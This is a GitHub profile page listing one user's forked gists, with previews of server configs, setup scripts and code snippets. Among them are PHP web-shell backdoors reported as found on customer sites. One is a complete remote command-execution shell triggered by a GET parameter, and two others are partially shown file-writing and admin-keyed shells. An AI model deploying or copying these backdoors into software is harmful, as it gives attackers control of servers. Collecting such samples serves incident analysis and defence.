Skip to content

Instantly share code, notes, and snippets.

View mostafahussein's full-sized avatar
💀
K3rn3l Cr4sh3r

(╯°□°)╯︵ uᴉǝssnH ɐɟɐʇsoW mostafahussein

💀
K3rn3l Cr4sh3r
View GitHub Profile
@mostafahussein
mostafahussein / default.vcl
Created November 29, 2015 08:57 — forked from reifman/default.vcl
Example Varnish VCL Configuration e.g. /etc/varnish/default.vcl
# Default backend definition. Set this to point to your content server.
backend default {
.host = "127.0.0.1";
.port = "8080";
.connect_timeout = 60s;
.first_byte_timeout = 60s;
.between_bytes_timeout = 60s;
.max_connections = 800;
}
@mostafahussein
mostafahussein / Iicense.php
Created December 12, 2015 14:24 — forked from jonaslejon/Iicense.php
Magic Include Shell PHP Backdoor found at customer site
<?php
error_reporting(0);
$ver = '6.6.6';
$my_keyw = $_SERVER['HTTP_USER_AGENT'];
$items_per_page = 50;
$admin_name = '27a0e2015f9087981c0b95a29fc4ba57';
$admin_pass = '9413c48772f73d5c305b65eb58a06f9c';
if($my_keyw=='spaumbot')
@mostafahussein
mostafahussein / .cache.php
Created December 12, 2015 15:10 — forked from jonaslejon/.cache.php
Backdoor found at customer site
<?php
if (substr(md5($_GET["localdate"]),0,6) == "6fbcb8") {
$time = str_replace("@"," ",$_GET["localtime"]);
@system($time); exit;
}
?>
@mostafahussein
mostafahussein / else.php
Created December 19, 2015 06:40 — forked from smottt/else.php
Vulnerability scan file
<?php
$content = stripslashes($_POST['content']);
$cfile = $_POST['cfile'];
$ufile = $_POST['ufile'];
echo '<b><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">';
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea><br>';
echo '<input type="text" name="cfile" size="10" value="newfile.php">';
@mostafahussein
mostafahussein / gist:3211b8b3166667f3cbd8
Created December 24, 2015 06:22 — forked from tamoyal/gist:10441108
Create super user and database user in Mongo 2.6
# Create your superuser
$ mongo
> use admin
> db.createUser({user:"someadmin",pwd:"secret", roles:[{role:"root",db:"admin"}]})
> exit
# Alias for convenience (optional and at your own risk)
$ echo 'alias mongo="mongo --port 27017 -u someadmin -p secret --authenticationDatabase admin"' >> ~/.bash_profile
$ source ~/.bash_profile
@mostafahussein
mostafahussein / custom_module.py
Created December 29, 2015 16:52 — forked from UtahDave/custom_module.py
Fire and Forget Salt module
from subprocess import Popen
def start_server():
cmd_str = 'sleep 60 && echo "hello!" >> /tmp/test.txt'
proc = Popen([cmd_str], shell=True,
stdin=None, stdout=None, stderr=None, close_fds=True)
return cmd_str
@mostafahussein
mostafahussein / nginx-ispconfig3-ubuntu.sh
Created December 30, 2015 13:13
Install Nginx ISPConfig3 Ubuntu 14.04 64Bits
#!/bin/bash
## Install ISPConfig3 on Ubuntu 14.04 64Bits
## Author: Nilton OS blog.linuxpro.com.br
## http://blog.linuxpro.com.br/posts/instalando-ispconfig3-no-ubuntu-1404.html
## http://www.howtoforge.com/the-perfect-server-ubuntu-14.04-nginx-bind-mysql-php-postfix-dovecot-and-ispconfig3-p2
dpkg-reconfigure dash
service apparmor stop
@mostafahussein
mostafahussein / testChainedPromise.js
Created January 7, 2016 18:34 — forked from calendee/testChainedPromise.js
A simple example of chained promises using Q promise library.
var Q = require("q");
var slowFunction1 = function( myObject ) {
console.log("\nRunning slowFunction1");
console.log(myObject);
var deferred = Q.defer();
setTimeout( function() {
@mostafahussein
mostafahussein / xmlrpc-distributed-brute-defense.conf
Created February 11, 2016 16:55 — forked from alzabo/xmlrpc-distributed-brute-defense.conf
WP/xmlrpc brute force ModSecurity rules
# These rules are designed to be effective versus /distributed/ brute force
# attacks. While they will function just as well against attacks which are
# /not distributed/ they will deny access to all XML-RPC method calls
# namespaced with the prefix "wp."
#
# An IP-based version of these rules may be more appropriate for sites which
# attacked from just a few distinct IP addresses.
#
# See http://alzabo.io/modsecurity/2014/09/15/wordpress-xml-rpc-brute-force.html
# for additional information
rpm -Uvh http://www.city-fan.org/ftp/contrib/yum-repo/city-fan.org-release-1-12.rhel6.noarch.rpm